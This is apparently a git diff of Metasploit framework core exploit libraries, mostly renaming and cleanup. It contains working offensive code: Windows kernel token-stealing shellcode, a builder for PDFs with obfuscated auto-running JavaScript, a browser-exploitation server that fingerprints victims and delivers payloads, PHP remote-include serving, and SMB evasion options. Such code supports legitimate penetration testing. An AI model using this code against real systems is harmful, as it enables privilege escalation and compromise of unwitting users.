incoming PHP code request + # + def on_request_uri(cli, request, headers={}) + # Re-generate the payload + return if ((p = regenerate_payload(cli)) == nil) + + # Send it to the application + send_php_payload(cli, p.encoded, headers) + end + + # + # The PHP include URL (pre-encoded) + # + # Does not take SSL into account. For the reasoning behind this, see + # {#exploit}. + # + # @return [String] The URL to be used as the argument in a call to + # +require+, +require_once+, or +include+ or +include_once+ in a + # vulnerable PHP app. + def php_include_url(sock=nil) + host = srvhost_addr + if Rex::Socket.is_ipv6?(host) + host = "[#{host}]" + end + "http://#{host}:#{datastore['SRVPORT']}#{get_resource()}?" + end + +end + +end diff --git a/lib/msf/core/exploit/ipv6.rb b/lib/msf/core/exploit/ipv6.rb index 8a7545381c..7102adcea1 100644 --- a/lib/msf/core/exploit/ipv6.rb +++ b/lib/msf/core/exploit/ipv6.rb @@ -76,7 +76,6 @@ module Exploit::Remote::Ipv6 return if not @ipv6_icmp6_capture @ipv6_icmp6_capture = nil - GC.start() end # diff --git a/lib/msf/core/exploit/java.rb b/lib/msf/core/exploit/java.rb index 491babc19a..b3eb246411 100644 --- a/lib/msf/core/exploit/java.rb +++ b/lib/msf/core/exploit/java.rb @@ -87,7 +87,7 @@ module Exploit::Java raise RuntimeError, "Could not load rjb and/or the JVM: " + @java_error.to_s end - if compile_options.class.to_s != "Array" && compile_options + if !compile_options.is_a?(Array) && compile_options raise RuntimeError, "Compiler options must be of type Array." end diff --git a/lib/msf/core/exploit/local/windows_kernel.rb b/lib/msf/core/exploit/local/windows_kernel.rb index 48a2939b7b..adc988a3cb 100644 --- a/lib/msf/core/exploit/local/windows_kernel.rb +++ b/lib/msf/core/exploit/local/windows_kernel.rb @@ -116,14 +116,16 @@ module Exploit::Local::WindowsKernel # original token to so it can be restored later. # @param arch [String] The architecture to return shellcode for. If this is nil, # the arch will be guessed from the target and then module information. + # @param append_ret [Boolean] Append a ret instruction for use when being called + # in place of HaliQuerySystemInformation. # @return [String] The token stealing shellcode. # @raise [ArgumentError] If the arch is incompatible. # - def token_stealing_shellcode(target, backup_token = nil, arch = nil) + def token_stealing_shellcode(target, backup_token = nil, arch = nil, append_ret = true) arch = target.opts['Arch'] if arch.nil? && target && target.opts['Arch'] if arch.nil? && module_info['Arch'] arch = module_info['Arch'] - arch = arch[0] if arch.class.to_s == 'Array' and arch.length == 1 + arch = arch[0] if arch.is_a?(Array) and arch.length == 1 end if arch.nil? print_error('Can not determine the target architecture') @@ -144,15 +146,17 @@ module Exploit::Local::WindowsKernel tokenstealing << "\x89\x1d" + [backup_token].pack('V') # mov dword ptr ds:backup_token, ebx # Optionaly write a copy of the token to the address provided end tokenstealing << "\x8b\x80" + target['_APLINKS'] + "\x00\x00\x00" # mov eax, dword ptr [eax+88h] <====| # Retrieve FLINK from ActiveProcessLinks - tokenstealing << "\x81\xe8" + target['_APLINKS'] + "\x00\x00\x00" # sub eax,88h | # Retrieve _EPROCESS Pointer from the ActiveProcessLinks + tokenstealing << "\x81\xe8" + target['_APLINKS'] + "\x00\x00\x00" # sub eax, 88h | # Retrieve _EPROCESS Pointer from the ActiveProcessLinks tokenstealing << "\x81\xb8" + target['_UPID'] + "\x00\x00\x00\x04\x00\x00\x00" # cmp dword ptr [eax+84h], 4 | # Compares UniqueProcessId with 4 (The System Process on Windows XP) - tokenstealing << "\x75\xe8" # jne 0000101e ====================== - tokenstealing << "\x8b\x90" + target['_TOKEN'] + "\x00\x00\x00" # mov edx,dword ptr [eax+0C8h] # Retrieves TOKEN and stores on EDX + tokenstealing << "\x75\xe8" # jne 0000101e ======================| + tokenstealing << "\x8b\x90" + target['_TOKEN'] + "\x00\x00\x00" # mov edx, dword ptr [eax+0C8h] # Retrieves TOKEN and stores on EDX tokenstealing << "\x8b\xc1" # mov eax, ecx # Retrieves KPROCESS stored on ECX tokenstealing << "\x89\x90" + target['_TOKEN'] + "\x00\x00\x00" # mov dword ptr [eax+0C8h],edx # Overwrites the TOKEN for the current KPROCESS tokenstealing << "\x5b" # pop ebx # Restores ebx tokenstealing << "\x5a" # pop edx # Restores edx - tokenstealing << "\xc2\x10" # ret 10h # Away from the kernel! + if append_ret + tokenstealing << "\xc2\x10" # ret 10h # Away from the kernel! + end else # if this is reached the issue most likely exists in the exploit module print_error('Unsupported arch for token stealing shellcode') diff --git a/lib/msf/core/exploit/mixins.rb b/lib/msf/core/exploit/mixins.rb index d2b8c575c6..cd7edc03f9 100644 --- a/lib/msf/core/exploit/mixins.rb +++ b/lib/msf/core/exploit/mixins.rb @@ -28,9 +28,11 @@ require 'msf/core/exploit/ipv6' require 'msf/core/exploit/dhcp' require 'msf/core/exploit/ntlm' require 'msf/core/exploit/dcerpc' -require 'msf/core/exploit/smb' -require 'msf/core/exploit/smb/authenticated' -require 'msf/core/exploit/smb/psexec' +require 'msf/core/exploit/smb/client' +require 'msf/core/exploit/smb/client/authenticated' +require 'msf/core/exploit/smb/client/psexec' +require 'msf/core/exploit/smb/server' +require 'msf/core/exploit/smb/server/share' require 'msf/core/exploit/ftp' require 'msf/core/exploit/tftp' require 'msf/core/exploit/telnet' diff --git a/lib/msf/core/exploit/ntlm.rb b/lib/msf/core/exploit/ntlm.rb index 7490c2f44a..553ad17986 100644 --- a/lib/msf/core/exploit/ntlm.rb +++ b/lib/msf/core/exploit/ntlm.rb @@ -52,7 +52,7 @@ module Exploit::NTLM # SendSPN will send an avp of type 9/SPN in the ntlmv2 client blob, this is mandatory on windows seven / 2008 r2 if # Microsoft network server : Server SPN target name validation level is set to <Required from client> or we get an STATUS_ACCESS_DENIED # - OptBool.new('NTLM::SendSPN', [ true, 'Send an avp of type SPN in the ntlmv2 client Blob, this allow authentification on windows Seven/2008r2 when SPN is required', true]), + OptBool.new('NTLM::SendSPN', [ true, 'Send an avp of type SPN in the ntlmv2 client blob, this allows authentication on Windows 7+/Server 2008 R2+ when SPN is required', true]), ], Msf::Exploit::NTLM::Client) end end diff --git a/lib/msf/core/exploit/pdf.rb b/lib/msf/core/exploit/pdf.rb index 1a1bcc8528..9b3b0b135f 100644 --- a/lib/msf/core/exploit/pdf.rb +++ b/lib/msf/core/exploit/pdf.rb @@ -30,7 +30,7 @@ module Exploit::PDF #Original Filters ## - def ASCIIHexWhitespaceEncode(str) + def ascii_hex_whitespace_encode(str) return str if not datastore['PDF::Obfuscate'] result = "" whitespace = "" @@ -44,7 +44,7 @@ module Exploit::PDF ## #Filters from Origami parser ## - def RunLengthEncode(stream) + def run_length_encode(stream) eod = 128 result = "" i = 0 @@ -85,7 +85,7 @@ module Exploit::PDF result << eod.chr end - def RandomNonASCIIString(count) + def random_non_ascii_string(count) result = "" count.times do result << (rand(128) + 128).chr @@ -93,7 +93,7 @@ module Exploit::PDF result end - def ASCII85Encode(stream) + def ascii85_encode(stream) eod = "~>" i = 0 code = "" @@ -130,7 +130,7 @@ module Exploit::PDF end # http://blog.didierstevens.com/2008/04/29/pdf-let-me-count-the-ways/ - def nObfu(str) + def nobfu(str) return str if not datastore['PDF::Obfuscate'] result = "" @@ -149,13 +149,13 @@ module Exploit::PDF ## def header(version = '1.5') hdr = "%PDF-#{version}" << eol - hdr << "%" << RandomNonASCIIString(4) << eol + hdr << "%" << random_non_ascii_string(4) << eol hdr end def add_object(num, data) @xref[num] = @pdf.length - @pdf << ioDef(num) + @pdf << io_def(num) @pdf << data @pdf << endobj end @@ -186,7 +186,7 @@ module Exploit::PDF end def trailer(root_obj) - ret = "trailer" << nObfu("<</Size %d/Root " % (@xref.length + 1)) << ioRef(root_obj) << ">>" << eol + ret = "trailer" << nobfu("<</Size %d/Root " % (@xref.length + 1)) << io_ref(root_obj) << ">>" << eol ret end @@ -209,18 +209,18 @@ module Exploit::PDF "endobj" << eol end - def ioDef(id) + def io_def(id) "%d 0 obj" % id end - def ioRef(id) + def io_ref(id) "%d 0 R" % id end ## #Controller funtion, should be entrypoint for pdf exploits ## - def CreatePDF(js) + def create_pdf(js) strFilter = "" arrResults = [] numIterations = 0 @@ -233,10 +233,10 @@ module Exploit::PDF end for i in (0..numIterations-1) if i == 0 - arrResults = SelectEncoder(js,arrEncodings[i],strFilter) + arrResults = select_encoder(js,arrEncodings[i],strFilter) next end - arrResults = SelectEncoder(arrResults[0],arrEncodings[i],arrResults[1]) + arrResults = select_encoder(arrResults[0],arrEncodings[i],arrResults[1]) end case datastore['PDF::Method'] when 'PAGE' @@ -251,19 +251,19 @@ module Exploit::PDF ## #Select an encoder and build a filter specification ## - def SelectEncoder(js,strEncode,strFilter) + def select_encoder(js,strEncode,strFilter) case strEncode when 'ASCII85' - js = ASCII85Encode(js) + js = ascii85_encode(js) strFilter = "/ASCII85Decode"<<strFilter when 'ASCIIHEX' - js = ASCIIHexWhitespaceEncode(js) + js = ascii_hex_whitespace_encode(js) strFilter = "/ASCIIHexDecode"<<strFilter when 'FLATE' js = Zlib::Deflate.deflate(js) strFilter = "/FlateDecode"<<strFilter when 'RUN' - js = RunLengthEncode(js) + js = run_length_encode(js) strFilter = "/RunLengthDecode"<<strFilter end return js,strFilter @@ -277,10 +277,10 @@ module Exploit::PDF @pdf = '' @pdf << header - add_object(1, nObfu("<</Type/Catalog/Outlines ") << ioRef(2) << nObfu("/Pages ") << ioRef(3) << ">>") - add_object(2, nObfu("<</Type/Outlines/Count 0>>")) - add_object(3, nObfu("<</Type/Pages/Kids[") << ioRef(4) << nObfu("]/Count 1>>")) - add_object(4, nObfu("<</Type/Page/Parent ") << ioRef(3) << nObfu("/MediaBox[%s %s %s %s] " % [rand(200),rand(200),rand(300),rand(300)]) << nObfu(" /AA << /O << /JS ") << ioRef(5) << nObfu("/S /JavaScript >>>>>>")) + add_object(1, nobfu("<</Type/Catalog/Outlines ") << io_ref(2) << nobfu("/Pages ") << io_ref(3) << ">>") + add_object(2, nobfu("<</Type/Outlines/Count 0>>")) + add_object(3, nobfu("<</Type/Pages/Kids[") << io_ref(4) << nobfu("]/Count 1>>")) + add_object(4, nobfu("<</Type/Page/Parent ") << io_ref(3) << nobfu("/MediaBox[%s %s %s %s] " % [rand(200),rand(200),rand(300),rand(300)]) << nobfu(" /AA << /O << /JS ") << io_ref(5) << nobfu("/S /JavaScript >>>>>>")) compressed = js stream = "<</Length %s/Filter[" % compressed.length << strFilter << "]>>" << eol stream << "stream" << eol @@ -301,10 +301,10 @@ module Exploit::PDF @pdf << header - add_object(1, nObfu("<</Type/Catalog/Outlines ") << ioRef(2) << nObfu("/Pages ") << ioRef(3) << ">>") - add_object(2, nObfu("<</Type/Outlines/Count 0>>")) - add_object(3, nObfu("<</Type/Pages/Kids[") << ioRef(4) << nObfu("]/Count 1>>")) - add_object(4, nObfu("<</Type/Page/Parent ") << ioRef(3) << nObfu("/MediaBox[%s %s %s %s] " % [rand(200),rand(200),rand(300),rand(300)]) << nObfu(" /AA << /O << /JS ") << ioRef(5) << nObfu("/S /JavaScript >>>>>>")) + add_object(1, nobfu("<</Type/Catalog/Outlines ") << io_ref(2) << nobfu("/Pages ") << io_ref(3) << ">>") + add_object(2, nobfu("<</Type/Outlines/Count 0>>")) + add_object(3, nobfu("<</Type/Pages/Kids[") << io_ref(4) << nobfu("]/Count 1>>")) + add_object(4, nobfu("<</Type/Page/Parent ") << io_ref(3) << nobfu("/MediaBox[%s %s %s %s] " % [rand(200),rand(200),rand(300),rand(300)]) << nobfu(" /AA << /O << /JS ") << io_ref(5) << nobfu("/S /JavaScript >>>>>>")) compressed = js stream = "<</Length %s/Filter[" % compressed.length << strFilter << "]>>" << eol stream << "stream" << eol @@ -324,11 +324,11 @@ module Exploit::PDF @pdf << header - add_object(1, nObfu("<</Type/Catalog/Outlines ") << ioRef(2) << nObfu("/Pages ") << ioRef(3) << ">>") - add_object(2, nObfu("<</Type/Outlines/Count 0>>")) - add_object(3, nObfu("<</Type/Pages/Kids[") << ioRef(4) << nObfu("]/Count 1>>")) - add_object(4, nObfu("<</Type/Page/Parent ") << ioRef(3) << nObfu("/MediaBox[%s %s %s %s] " % [rand(200),rand(200),rand(300),rand(300)]) << nObfu(" /Annots [") << ioRef(5) << nObfu("]>>")) - add_object(5, nObfu("<</Type/Annot /Subtype /Screen /Rect [%s %s %s %s] /AA << /PO << /JS " % [rand(200),rand(200),rand(300),rand(300)]) << ioRef(6) << nObfu("/S /JavaScript >>>>>>")) + add_object(1, nobfu("<</Type/Catalog/Outlines ") << io_ref(2) << nobfu("/Pages ") << io_ref(3) << ">>") + add_object(2, nobfu("<</Type/Outlines/Count 0>>")) + add_object(3, nobfu("<</Type/Pages/Kids[") << io_ref(4) << nobfu("]/Count 1>>")) + add_object(4, nobfu("<</Type/Page/Parent ") << io_ref(3) << nobfu("/MediaBox[%s %s %s %s] " % [rand(200),rand(200),rand(300),rand(300)]) << nobfu(" /Annots [") << io_ref(5) << nobfu("]>>")) + add_object(5, nobfu("<</Type/Annot /Subtype /Screen /Rect [%s %s %s %s] /AA << /PO << /JS " % [rand(200),rand(200),rand(300),rand(300)]) << io_ref(6) << nobfu("/S /JavaScript >>>>>>")) compressed = js stream = "<</Length %s/Filter[" % compressed.length << strFilter << "]>>" << eol stream << "stream" << eol diff --git a/lib/msf/core/exploit/powershell.rb b/lib/msf/core/exploit/powershell.rb index b99abc4859..be16970ec5 100644 --- a/lib/msf/core/exploit/powershell.rb +++ b/lib/msf/core/exploit/powershell.rb @@ -296,8 +296,8 @@ EOS if opts[:prepend_sleep] if opts[:prepend_sleep].to_i > 0 psh_payload = "Start-Sleep -s #{opts[:prepend_sleep]};" << psh_payload - else - vprint_error('Sleep time must be greater than 0 seconds') + elsif opts[:prepend_sleep].to_i < 0 + vprint_error('Sleep time must be greater than or equal to 0 seconds') end end diff --git a/lib/msf/core/exploit/remote/browser_exploit_server.rb b/lib/msf/core/exploit/remote/browser_exploit_server.rb index a8cf9f79ce..ca75c309c0 100644 --- a/lib/msf/core/exploit/remote/browser_exploit_server.rb +++ b/lib/msf/core/exploit/remote/browser_exploit_server.rb @@ -11,12 +11,17 @@ require 'msf/core/exploit/jsobfu' # # The BrowserExploitServer mixin provides methods to do common tasks seen in modern browser # exploitation, and is designed to work against common setups such as on Windows, OSX, and Linux. +# Wiki documentations about this mixin can be found here: +# https://github.com/rapid7/metasploit-framework/wiki/How-to-write-a-browser-exploit-using-BrowserExploitServer +# https://github.com/rapid7/metasploit-framework/wiki/Information-About-Unmet-Browser-Exploit-Requirements # ### module Msf module Exploit::Remote::BrowserExploitServer + class BESException < RuntimeError; end + include Msf::Exploit::Remote::HttpServer::HTML include Msf::Exploit::RopDb include Msf::Exploit::JSObfu @@ -44,24 +49,30 @@ module Msf # Requirements a browser module can define in either BrowserRequirements or in targets REQUIREMENT_KEY_SET = Set.new([ - :source, # Either 'script' or 'headers' - :ua_name, # Example: MSIE - :ua_ver, # Example: 8.0, 9.0 - :os_name, # Example: Windows 7, Linux - :os_device, # Example: iPad, iPhone, etc - :os_vendor, # Example: Microsoft, Ubuntu, Apple, etc - :os_sp, # Example: SP2 - :language, # Example: en-us - :arch, # Example: x86 - :proxy, # 'true' or 'false' - :silverlight, # 'true' or 'false' - :office, # Example: "2007", "2010" - :java, # Example: 1.6, 1.6.0.0 - :clsid, # ActiveX clsid. Also requires the :method key - :method, # ActiveX method. Also requires the :clsid key - :mshtml_build, # mshtml build. Example: "65535" - :flash, # Example: "12.0" (chrome/ff) or "12.0.0.77" (IE) - :vuln_test # Example: "if(window.MyComponentIsInstalled)return true;" + :source, # Return either 'script' or 'headers' + :ua_name, # Example: Returns 'MSIE' + :ua_ver, # Example: Returns '8.0', '9.0' + :os_name, # Example: Returns 'Windows 7', 'Linux' + :os_device, # Example: Returns 'iPad', 'iPhone', etc + :os_vendor, # Example: Returns 'Microsoft', 'Ubuntu', 'Apple', etc + :os_sp, # Example: Returns 'SP2' + :language, # Example: Returns 'en-us' + :arch, # Example: Returns 'x86' + :proxy, # Returns 'true' or 'false' + :silverlight, # Returns 'true' or 'false' + :office, # Example: Returns "2007", "2010" + :java, # Example: Return '1.6', or maybe '1.6.0.0' (depends) + :mshtml_build, # mshtml build. Example: Returns "65535" + :flash, # Example: Returns "12.0" (chrome/ff) or "12.0.0.77" (IE) + :vuln_test, # Example: "if(window.MyComponentIsInstalled)return true;", + # :activex is a special case. + # When you set this requirement in your module, this is how it should be: + # [{:clsid=>'String', :method=>'String'}] + # Where each Hash is a test case + # But when BES receives this information, the JavaScript will return this format: + # "{CLSID}=>Method=>Boolean;" + # Also see: #has_bad_activex? + :activex ]) def initialize(info={}) @@ -87,63 +98,74 @@ module Msf register_advanced_options([ OptString.new('CookieName', [false, "The name of the tracking cookie", DEFAULT_COOKIE_NAME]), - OptString.new('CookieExpiration', [false, "Cookie expiration in years (blank=expire on exit)"]) + OptString.new('CookieExpiration', [false, "Cookie expiration in years (blank=expire on exit)"]), + OptString.new('Custom404', [false, "An external custom 404 URL (Example: http://example.com/404.html)"]) ], Exploit::Remote::BrowserExploitServer) end + def setup + custom_404 = get_custom_404_url + if !custom_404.blank? && custom_404 !~ /^http/i + raise Msf::OptionValidateError.new(['Custom404 (must begin with http or https)']) + end + super + end + + + # Returns the custom 404 URL set by the user # + # @return [String] + def get_custom_404_url + datastore['Custom404'].to_s + end + + # Allows a block of code to access BES resources in a thread-safe fashion # # @param block [Proc] Block of code to sync - # def sync(&block) (@mutex ||= Mutex.new).synchronize(&block) end - # + # Returns the resource (URI) to the module to allow access to on_request_exploit # # @return [String] URI to the exploit page - # def get_module_resource - "#{get_resource.chomp("/")}/#{@exploit_receiver_page}/" + "#{get_resource.to_s.chomp("/")}/#{@exploit_receiver_page}/" end - # + # Returns the absolute URL to the module's resource that points to on_request_exploit # # @return [String] absolute URI to the exploit page - # def get_module_uri "#{get_uri.chomp("/")}/#{@exploit_receiver_page}" end - # + # Returns the current target - # def get_target @target end - # + # Returns a hash of recognizable requirements # # @param reqs [Hash] A hash that contains data for the requirements # @return [Hash] A hash of requirements - # def extract_requirements(reqs) tmp = reqs.select {|k,v| REQUIREMENT_KEY_SET.include?(k.to_sym)} # Make sure keys are always symbols Hash[tmp.map{|(k,v)| [k.to_sym,v]}] end - # + # Sets the target automatically based on what requirements are met. # If there's a possible matching target, it will also merge the requirements. # You can use the get_target() method to retrieve the most current target. # # @param profile [Hash] The profile to check - # def try_set_target(profile) match_counts = [] target_requirements = {} @@ -172,30 +194,36 @@ module Msf end end - # + + # Returns true if there's a bad ActiveX, otherwise false. + # @param ax [String] The raw activex the JavaScript detection will return in this format: + # "{CLSID}=>Method=>Boolean;" + # @return [Boolean] True if there's a bad ActiveX, otherwise false + def has_bad_activex?(ax) + ax.split(';').each do |a| + bool = a.split('=>')[2] + if bool == 'false' + return true + end + end + + false + end + # Returns an array of items that do not meet the requirements # # @param profile [Hash] The profile to check # @return [Array] An array of requirements not met - # def get_bad_requirements(profile) bad_reqs = [] - # At this point the check is already done. - # If :activex is true, that means the clsid + method had a match, - # if not, then false. - if @requirements[:clsid] and @requirements[:method] - @requirements[:activex] = 'true' # Script passes boolean as string - end - @requirements.each do |k, v| - # Special keys to ignore because the script registers this as [:activex] = true or false - next if k == :clsid or k == :method - expected = k != :vuln_test ? v : 'true' vprint_debug("Comparing requirement: #{k}=#{expected} vs #{k}=#{profile[k.to_sym]}") - if k == :vuln_test + if k == :activex + bad_reqs << k if has_bad_activex?(profile[k.to_sym]) + elsif k == :vuln_test bad_reqs << k unless profile[k.to_sym].to_s == 'true' elsif v.is_a? Regexp bad_reqs << k if profile[k.to_sym] !~ v @@ -209,7 +237,6 @@ module Msf bad_reqs end - # # Returns the target profile based on the tag. Each profile has the following structure: # 'cookie_name' => # { @@ -230,7 +257,7 @@ module Msf # # If the source is 'script', the profile might have even more information about plugins: # 'office' : The version of Microsoft Office (IE only) - # 'activex' : Whether a specific method is available from an ActiveX control (IE only) + # 'activex' : Whether a specific set of clsid & method is available from an ActiveX control (IE only) # 'java' : The Java version # 'mshtml_build' : The MSHTML build version # 'flash' : The Flash version @@ -238,45 +265,41 @@ module Msf # # @param tag [String] Either a cookie or IP + User-Agent # @return [Hash] The profile found. If not found, returns nil - # def get_profile(tag) sync do return @target_profiles[tag] end end - # + # Updates information for a specific profile # # @param target_profile [Hash] The profile to update # @param key [Symbol] The symbol to use for the hash # @param value [String] The value to assign - # def update_profile(target_profile, key, value) sync do target_profile[key] = value end end - # + # Initializes a profile, if it did not previously exist # # @param tag [String] A unique string as a way to ID the profile - # def init_profile(tag) sync do @target_profiles[tag] ||= {} end end - # + # Retrieves a tag. # First it obtains the tag from the browser's "Cookie" header. # If the header is empty (possible if the browser has cookies disabled), # then it will return a tag based on IP + the user-agent. # # @param request [Rex::Proto::Http::Request] The HTTP request sent by the browser - # def retrieve_tag(cli, request) cookie = CGI::Cookie.parse(request.headers['Cookie'].to_s) tag = cookie.has_key?(cookie_name) && cookie[cookie_name].first @@ -294,13 +317,12 @@ module Msf tag end - # + # Registers target information to @target_profiles # # @param source [Symbol] Either :script, or :headers # @param cli [Socket] Socket for the browser # @param request [Rex::Proto::Http::Request] The HTTP request sent by the browser - # def process_browser_info(source, cli, request) tag = retrieve_tag(cli, request) init_profile(tag) @@ -338,23 +360,21 @@ module Msf }) end - # + # Checks if the target is running a proxy # # @param request [Rex::Proto::Http::Request] The HTTP request sent by the browser # @return [Boolean] True if found, otherwise false - # def has_proxy?(request) proxy_header_set = PROXY_REQUEST_HEADER_SET & request.headers.keys !proxy_header_set.empty? end - # + # Returns the code for client-side detection # # @param user_agent [String] The user-agent of the browser # @return [String] Returns the HTML for detection - # def get_detection_html(user_agent) ua_info = fingerprint_user_agent(user_agent) os = ua_info[:os_name] @@ -395,11 +415,20 @@ module Msf d['office'] = ie_addons_detect.getMsOfficeVersion(); d['mshtml_build'] = ScriptEngineBuildVersion().toString(); <% - clsid = @requirements[:clsid] - method = @requirements[:method] - if clsid and method + activex = @requirements[:activex] + if activex + activex.each do \|a\| + clsid = a[:clsid] + method = a[:method] %> - d['activex'] = ie_addons_detect.hasActiveX('<%=clsid%>', '<%=method%>'); + var ax = ie_addons_detect.hasActiveX('<%=clsid%>', '<%=method%>'); + d['activex'] = ""; + if (ax == true) { + d['activex'] += "<%=clsid%>=><%=method%>=>true;"; + } else { + d['activex'] += "<%=clsid%>=><%=method%>=>false;"; + } + <% end %> <% end %> <% end %> @@ -415,7 +444,7 @@ module Msf %Q| <script> - #{js} + #{code} </script> <noscript> <img style="visibility:hidden" src="#{get_resource.chomp("/")}/#{@noscript_receiver_page}/"> @@ -439,12 +468,11 @@ module Msf cookie end - # + # Handles exploit stages. # # @param cli [Socket] Socket for the browser # @param request [Rex::Proto::Http::Request] The HTTP request sent by the browser - # def on_request_uri(cli, request) case request.uri when '/', get_resource.chomp("/") @@ -460,7 +488,7 @@ module Msf tag = Rex::Text.rand_text_alpha(rand(20) + 5) ua = request.headers['User-Agent'] || '' init_profile(tag) - print_status("Sending response HTML.") + print_status("Sending HTML response.") html = get_detection_html(ua) send_response(cli, html, {'Set-Cookie' => cookie_header(tag)}) @@ -500,7 +528,13 @@ module Msf try_set_target(profile) bad_reqs = get_bad_requirements(profile) if bad_reqs.empty? - method(:on_request_exploit).call(cli, request, profile) + begin + method(:on_request_exploit).call(cli, request, profile) + rescue BESException => e + elog("BESException: #{e.message}\n#{e.backtrace * "\n"}") + send_not_found(cli) + print_error("BESException: #{e.message}") + end else print_warning("Exploit requirement(s) not met: #{bad_reqs * ', '}. For more info: http://r-7.co/PVbcgx") if bad_reqs.include?(:vuln_test) @@ -514,22 +548,22 @@ module Msf end else + print_error("Target has requested an unknown path: #{request.uri}") send_not_found(cli) end end - # + # Overriding method. The module should override this. # # @param cli [Socket] Socket for the browser # @param request [Rex::Proto::Http::Request] The HTTP request sent by the browser # @param browser_info [Hash] The target profile - # def on_request_exploit(cli, request, browser_info) raise NoMethodError, "Module must define its own on_request_exploit method" end - # + # Converts an ERB-based exploit template into HTML, and sends to client # # @param cli [Socket] Socket for the browser @@ -537,7 +571,6 @@ module Msf # then this is handled as an Array, with the first element # being the HTML, and the second element is the binding object. # @param headers [Hash] The custom HTTP headers to include in the response - # def send_exploit_html(cli, template, headers={}) html = '' if template.class == Array @@ -548,13 +581,12 @@ module Msf send_response(cli, html, headers) end - # + # Generates a target-specific payload, should be called by the module # # @param cli [Socket] Socket for the browser # @param browser_info [Hash] The target profile # @return [String] The payload - # def get_payload(cli, browser_info) arch = browser_info[:arch] platform = browser_info[:os_name] @@ -564,7 +596,15 @@ module Msf platform = platform.gsub(/^Mac OS X$/, 'OSX') platform = platform.gsub(/^Windows.*$/, 'Windows') - regenerate_payload(cli, platform, arch).encoded + p = regenerate_payload(cli, platform, arch) + + unless p.arch.include?(arch) + err = "The payload arch (#{p.arch * ", "}) is incompatible with the #{arch} target. " + err << "Please check your payload setting." + raise BESException, err + end + + return p.encoded end # @return [String] custom Javascript to check if a vulnerability is present @@ -578,5 +618,18 @@ module Msf end end + private + + + # Sends a 404 respons. If a custom 404 is configured, then it will redirect to that instead. + def send_not_found(cli) + custom_404_url = get_custom_404_url + if custom_404_url.blank? + super(cli) + else + send_redirect(cli, custom_404_url) + end + end + end end diff --git a/lib/msf/core/exploit/smb.rb b/lib/msf/core/exploit/smb.rb deleted file mode 100644 index b044eb2c1a..0000000000 --- a/lib/msf/core/exploit/smb.rb +++ /dev/null @@ -1,645 +0,0 @@ -# -*- coding: binary -*- -require 'rex/proto/smb' -require 'rex/proto/ntlm' -require 'rex/proto/dcerpc' -require 'rex/encoder/ndr' - -module Msf - -require 'msf/core/exploit/smb_server' - -### -# -# This mixin provides utility methods for interacting with a SMB/CIFS service on -# a remote machine. These methods may generally be useful in the context of -# exploitation. This mixin extends the Tcp exploit mixin. Only one SMB -# service can be accessed at a time using this class. -# -### - -module Exploit::Remote::SMB - - include Exploit::Remote::Tcp - include Exploit::Remote::NTLM::Client - - SIMPLE = Rex::Proto::SMB::SimpleClient - XCEPT = Rex::Proto::SMB::Exceptions - CONST = Rex::Proto::SMB::Constants - - - # Alias over the Rex DCERPC protocol modules - DCERPCPacket = Rex::Proto::DCERPC::Packet - DCERPCClient = Rex::Proto::DCERPC::Client - DCERPCResponse = Rex::Proto::DCERPC::Response - DCERPCUUID = Rex::Proto::DCERPC::UUID - NDR = Rex::Encoder::NDR - - def initialize(info = {}) - super - - register_evasion_options( - [ - OptBool.new('SMB::pipe_evasion', [ true, 'Enable segmented read/writes for SMB Pipes', false]), - OptInt.new('SMB::pipe_write_min_size', [ true, 'Minimum buffer size for pipe writes', 1]), - OptInt.new('SMB::pipe_write_max_size', [ true, 'Maximum buffer size for pipe writes', 1024]), - OptInt.new('SMB::pipe_read_min_size', [ true, 'Minimum buffer size for pipe reads', 1]), - OptInt.new('SMB::pipe_read_max_size', [ true, 'Maximum buffer size for pipe reads', 1024]), - OptInt.new('SMB::pad_data_level', [ true, 'Place extra padding between headers and data (level 0-3)', 0]), - OptInt.new('SMB::pad_file_level', [ true, 'Obscure path names used in open/create (level 0-3)', 0]), - OptInt.new('SMB::obscure_trans_pipe_level', [ true, 'Obscure PIPE string in TransNamedPipe (level 0-3)', 0]), - - ], Msf::Exploit::Remote::SMB) - - register_advanced_options( - [ - OptBool.new('SMBDirect', [ true, 'The target port is a raw SMB service (not NetBIOS)', true ]), - OptString.new('SMBUser', [ false, 'The username to authenticate as', '']), - OptString.new('SMBPass', [ false, 'The password for the specified username', '']), - OptString.new('SMBDomain', [ false, 'The Windows domain to use for authentication', '.']), - OptString.new('SMBName', [ true, 'The NetBIOS hostname (required for port 139 connections)', '*SMBSERVER']), - OptBool.new('SMB::VerifySignature', [ true, "Enforces client-side verification of server response signatures", false]), - OptInt.new('SMB::ChunkSize', [ true, 'The chunk size for SMB segments, bigger values will increase speed but break NT 4.0 and SMB signing', 500]), - # - # Control the identified operating system of the client - # - OptString.new('SMB::Native_OS', [ true, 'The Native OS to send during authentication', 'Windows 2000 2195']), - OptString.new('SMB::Native_LM', [ true, 'The Native LM to send during authentication', 'Windows 2000 5.0']), - - ], Msf::Exploit::Remote::SMB) - - register_options( - [ - Opt::RHOST, - OptInt.new('RPORT', [ true, 'Set the SMB service port', 445]) - ], Msf::Exploit::Remote::SMB) - - register_autofilter_ports([ 139, 445]) - register_autofilter_services(%W{ netbios-ssn microsoft-ds }) - end - - # Override {Exploit::Remote::Tcp#connect} to setup an SMB connection - # and configure evasion options - # - # Also populates {#simple}. - # - # @param (see Exploit::Remote::Tcp#connect) - # @return (see Exploit::Remote::Tcp#connect) - def connect(global=true) - - disconnect() if global - - s = super(global) - self.sock = s if global - - # Disable direct SMB when SMBDirect has not been set - # and the destination port is configured as 139 - direct = smb_direct - if(datastore.default?('SMBDirect') and rport.to_i == 139) - direct = false - end - - c = SIMPLE.new(s, direct) - - # setup pipe evasion foo - if datastore['SMB::pipe_evasion'] - # XXX - insert code to change the instance of the read/write functions to do segmentation - end - - if (datastore['SMB::pad_data_level']) - c.client.evasion_opts['pad_data'] = datastore['SMB::pad_data_level'] - end - - if (datastore['SMB::pad_file_level']) - c.client.evasion_opts['pad_file'] = datastore['SMB::pad_file_level'] - end - - if (datastore['SMB::obscure_trans_pipe_level']) - c.client.evasion_opts['obscure_trans_pipe'] = datastore['SMB::obscure_trans_pipe_level'] - end - - self.simple = c if global - c - end - - # Convert a standard ASCII string to 16-bit Unicode - def unicode(str) - Rex::Text.to_unicode(str) - end - - # Establishes an SMB session over the default socket and connects to - # the IPC$ share. - # - # You should call {#connect} before calling this - # - # @return [void] - def smb_login - simple.login( - datastore['SMBName'], - datastore['SMBUser'], - datastore['SMBPass'], - datastore['SMBDomain'], - datastore['SMB::VerifySignature'], - datastore['NTLM::UseNTLMv2'], - datastore['NTLM::UseNTLM2_session'], - 